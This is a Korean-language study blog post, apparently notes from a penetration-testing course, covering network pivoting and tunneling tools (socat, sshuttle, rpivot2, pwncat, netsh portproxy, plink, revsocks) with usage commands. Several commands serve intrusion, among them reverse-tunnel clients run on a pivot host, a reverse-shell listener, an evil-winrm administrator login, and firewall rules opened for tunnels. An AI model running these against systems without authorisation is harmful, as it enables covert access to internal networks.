Tools
☀️공지 사항☀️ 해당 페이지는 Red Raccoon - PNT 학습 후 추가적인 개인 공부를 통해 재구성 및 실습한 내용입니다. 필자의 환경에 맞게 공부 및 실습을 진행하여 이 점 참고 바랍니다. Red Raccoon - PNT 강의 사이트로 이동하기
Linux Tools
socat
socat은 리눅스에서 많이 사용하는 다목적 네트워크 릴레이 도구로, 서로 다른 두 데이터 채널 간 양방향 데이터 전송을 중계해주는 유틸리티이다. 예를 들어, TCP, UDP, UNIX 소켓, 파일, 장치(시리얼 포트 등) 등 다양한 형태의 통신 채널을 연결할 수 있다.
장점
- 다양한 데이터 채널과 프로토콜(TCP, UDP, SSL, UNIX 소켓 등)을 지원해 활용도가 매우 높음.
- netcat보다 강력하며, 여러 클라이언트 동시 접속, 재사용 옵션 등 부가 기능을 제공.
- 보안 환경 설정(chroot, su)과 SSL 터널링 같은 고급 기능 지원.
- 네트워크 테스트, 포트 포워딩, 터널링, 보안 감사, 취약점 평가 등 보안 분야 활용도가 큼.
# 설치
sudo apt-get update
sudo apt-get install socat
# 예) TCP포트 포워딩 (포트 81 리스닝 → 192.168.1.10:80 연결)
socat TCP4-LISTEN:81 TCP4:192.168.1.10:80
# 예) 로컬 8080포트 → 원격 80포트 포워딩
socat TCP-LISTEN:8080,fork TCP:remote_host:80
# 예) 포트 포워딩 시 다중 연결 가능(fork 옵션과 reuseaddr)
socat TCP4-LISTEN:81,fork,reuseaddr TCP4:192.168.1.10:80
# SSL 터널링
socat TCP-LISTEN:443,reuseaddr,fork OPENSSL:www.example.com:443
gost
# 설치 (Snap 패키지)
sudo snap install gost
# SOCKS5 프록시 시작
gost -L socks5://:1080
# HTTP 터널링(포트 8080)
gost -L http://:8080
# 복합 포워딩
gost -L :8080 -F http://192.168.0.1:8080
sshuttle
sshuttle은 리눅스에서 주로 쓰이는 VPN/터널링 도구로, 네트워크 레벨에서 트래픽을 원격지로 투명하게 라우팅해 내부망 우회 등을 쉽게 할 수 있는 툴이다.
sshuttle은 내부망 피버팅 시 간단히 환경 구성하고자 할 때 유용하며, 특히 서버에 별도 VPN 소프트웨어 설치가 어렵거나 고성능 필요 없을 때 적합하다.
장점
- 관리자 권한 계정이 필요 없음
- 다이나믹 포트를 이용함
- 간편성: 복잡한 VPN 설정 없이 Python 기반으로 바로 사용 가능.
- 루트 권한 최소화: 클라이언트 쪽에서 특별한 서버 설정 없이도 동작.
- 투명 라우팅: 전체 IP 트래픽을 터널링할 수 있고, 선택적 라우팅도 지원.
- 멀티플랫폼: 리눅스, macOS 지원 (윈도우는 제한적).
단점
- SSH 서버 필요
- 서버에 Python 필요: 대상 서버에 Python 환경이 갖춰져 있어야 작동.
- 성능 제한: 완전한 VPN 대체는 어렵고, 고성능이 요구되는 환경 적합하지 않음.
- 윈도우 지원 부족: 만약에 피벗 호스트가 윈도우일 경우 윈도우 환경에서 제대로 동작하지 않음.
# 설치
git clone https://github.com/sshuttle/sshuttle.git
cd sshuttle
sudo ./setup.py install
# 원격 서버를 통해 전체 인터넷 트래픽 우회
sudo sshuttle -r user@remote-server 0.0.0.0/0
# 특정 서브넷 라우팅
sudo sshuttle -r user@remote-server 10.0.0.0/24
# verbose 모드(디버깅)
sudo sshuttle -r user@remote-server -v 0.0.0.0/0
Rpivot2
Rpivot는 SOCKS4 리버스 프록시 형태로 동작하는 피버팅 도구이다. SSH 동적 포트 포워딩(dynmaic port forwarding)과 비슷하지만, 반대 방향으로 동작하며 공격자가 설치한 클라이언트가 대상(피벗) 머신에서 실행되어 내부망 트래픽을 역터널링한다.
장점
- 관리자 권한 계정과 유저 자격 증명 필요 없음
- SSH 서버 불필요, 특정 권한 없이 동작 가능
- 멀티 플랫폼 지원 및 Python 표준 라이브러리만으로 구동용이
- NTLM 프록시 우회 지원, 윈도우 환경에서 유리
- 간단한 설정으로 동적 포트 포워딩 수준의 내부망 터널링 가능
단점
- 클라이언트가 피벗 대상에 설치/실행돼야 함
- TCP over TCP 터널로 인한 성능 지연 가능성
Python3 호환 Rpivot2 깃헙 리포: https://github.com/lisp3r/rpivot2
git clone https://github.com/lisp3r/rpivot2.git
cd rpivot2
# 리스너 포트 9999에서 접속 대기하며, 연결 시 로컬 1080번 포트에 SOCKS4 프록시 생성
python server.py --proxy-ip 127.0.0.1 --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0
# 클라이언트 (피벗 대상 머신에서 실행)
python3 client.py --server-ip [내아이피] --server-port 9999
# 공격 호스트에서 proxychains Config의 socks4를 활성화
# /etc/proxychains4.conf socks4 127.0.0.1 1080설정
[ProxyList]
socks4 127.0.0.1 1080
# Firefox 브라우저 이용하여 연결 확인
proxychains firefox-esr [타겟아이피]:80
pwncat
# 설치
pip install pwncat-cs
# 리버스 쉘 핸들러 실행
pwncat -l 4444
# 대상 연결
pwncat TARGET_IP 4444
Windows Tools
Netsh
Netsh(Network Shell)는 윈도우 환경에서 네트워크 설정을 명령줄에서 관리할 수 있게 해주는 강력한 도구이다. 특히 네트워크 구성, 방화벽, 라우팅, 포트 포워딩 등 다양한 네트워크 작업에 활용되며, 터널링이나 피버팅 작업에서도 기본적인 네트워크 조작에 자주 쓰인다.
장점
- Windows 내장 도구: 별도 설치 없이 윈도우 내장 명령줄 도구로 즉시 사용 가능.
- 강력한 네트워크 설정 기능: IP 구성, 방화벽, 라우팅, NAT, 포트포워딩 등 광범위한 네트워크 설정 지원.
- 스크립트 자동화: 배치파일(.bat)이나 PowerShell 스크립트와 연계하여 대량 자동화 가능.
- 실시간 네트워크 상태 모니터링: IP 구성 및 네트워크 인터페이스 상태 조회 기능.
- 관리자 권한 환경에서 높은 권한 조작 가능: 네트워크 장치 설정 변경 및 방화벽 규칙 추가 가능.
단점
- 복잡한 명령어 구조: 초보자에게 진입장벽 존재, 명령어와 서브 명령어가 많아 헷갈릴 수 있음.
- 윈도우 전용: Linux, Mac 등 다른 OS에서는 사용 불가.
- GUI 환경 부족: CLI 중심으로 GUI 방식에 익숙한 사용자에게는 불친절할 수 있음.
- 제한된 고급 네트워크 탐지/분석 기능: 패킷 분석, 침입 탐지 기능은 없음.
netsh 사용 방법
관리자 권한으로 명령 프롬프트(cmd) 또는 PowerShell 실행 하거나 WINRM 으로 연결
# Netsh 콘솔 진입
netsh
---
└─# evil-winrm -i [타겟윈도우IP] -u Administrator -p '[비밀번호]'
1. 포트 포워딩으로 내부망 접근 경로 개설
- 내부망의 특정 서비스(예: 웹서버 8080포트)를 공격자의 임의 포트(예: 80)로 포워딩
- 이를 통해 외부에서 내부 서비스에 직접 접속 가능 (역피버팅 상황 시 유용)
# 윈도우에서 바로 실행할 경우
netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=8080 connectaddress=192.168.1.10
# Evil-WinRM 으로 접속한 경우
PS C:\Users\Administrator\Documents> netsh interface portproxy add v4tov4 listenport=[공격자가 접속할 윈도우 호스트의 포트] listenaddress=[공격자가 접속할 윈도우 호스트의 IP] connectport=3389 connectaddress=[내부망 대상 서비스 IP]
listenport: 공격자가 접속할 윈도우 호스트의 포트connectport및connectaddress: 내부망 대상 서비스 포트 및 IP
2. 방화벽 예외 규칙 추가로 터널링 트래픽 통과 허용
- 터널링 시 필요한 포트(SSH 22, HTTP 80, 프록시 등)를 방화벽에서 허용하여 통신 차단 방지
- 방화벽 규칙을 통해 피버팅 시 터널의 안정성 확보 가능
netsh advfirewall firewall add rule name="Allow SSH" dir=in protocol=TCP localport=22 action=allow
Plink & Proxifier
과거 2018년 이전 윈도우 환경은 Windows에 기본 SSH 클라이언트가 제공되지 않았기 때문에, SSH 사용을 위해 PuTTY를 많이 사용했다. 공격을 하다가 오래된 운영체제를 만날 경우 PuTTY가 설치되어 있는 경우가 많아 Plink을 이용해여 피버팅에 이용할 수 있다.
또한 리눅스에서 Proxychains 도구를 이용해서 SOCKS5 터널링을 만들었듯 윈도우에선 Proxifier라는 GUI 툴을 사용해 SOCKS 터널링을 만들수 있다.
PuTTY 웹사이트: https://putty.org/
Proxifier 웹사이트: https://www.proxifier.com
Plink 기본 사용법 (CMD/PowerShell)
# SSH 접속
plink user@hostname
# 로컬 포트 포워딩 (예: 로컬 8080포트 → 원격서버 80포트):
plink -L 8080:localhost:80 user@hostname
# 원격 포트 포워딩 (예: 서버 9999포트 → 클라이언트 22포트):
plink -R 9999:localhost:22 user@hostname
# 다이나믹 SOCKS 프록시 생성 (로컬 1080 포트에서 SOCKS5 프록시 제공):
plink -D 1080 user@hostname
# 비밀번호 대신 개인키(.ppk)로 접속:
plink -i path\to\private_key.ppk user@hostname
# 배치모드(자동화) 실행
plink -batch -i private_key.ppk user@hostname "command"
Proxifier (윈도우용 서드파티 프록시 클라이언트)
## 1. 설치
- Proxifier 공식 사이트에서 설치 파일을 다운로드한 후 설치
## 2. 기본 설정
### 2.1 프록시 서버 등록
- Proxifier를 실행
- 메뉴에서 `Profile > Proxy Servers`를 선택
- `Add` 버튼을 클릭 후, SOCKS5 프록시 정보를 입력
- 예: 주소 `127.0.0.1`, 포트 `1080`
- 필요 시 인증 정보(아이디, 비밀번호)를 입력한 후 확인
### 2.2 프록시 룰 설정
- `Profile > Proxification Rules`를 선택
- 기본 `Default` 룰에서 모든 트래픽을 프록시로 보내도록 설정하거나,특정 프로그램이나 포트에 대해서 별도의 룰을 생성 가능
### 2.3 실행
- 설정이 완료되면, 프록시 서버에 맞게 모든 트래픽 혹은 설정한 룰에 해당하는 트래픽이 프록시 서버를 통해 전달됨
## 3. 활용 예
- Plink로 SSH 다이나믹 포트 포워딩을 실행
- plink -D 1080 user@host
- Proxifier를 통해 윈도우에서 실행되는 모든 프로그램 또는 브라우저의 트래픽을 SSH 터널링 경유하여 처리할 수 있다.
##
# 리눅스 설치
git clone https://github.com/kost/revsocks.git
cd revsocks
make
./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass password
# 윈도우 설치
Go 설치 후 GitHub 소스 내려받아 `go build`로 빌드 수행
# 기본 실행(서버) - (클라이언트도 `-tls` 옵션으로 연결)
./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass password -tls
댓글 남기기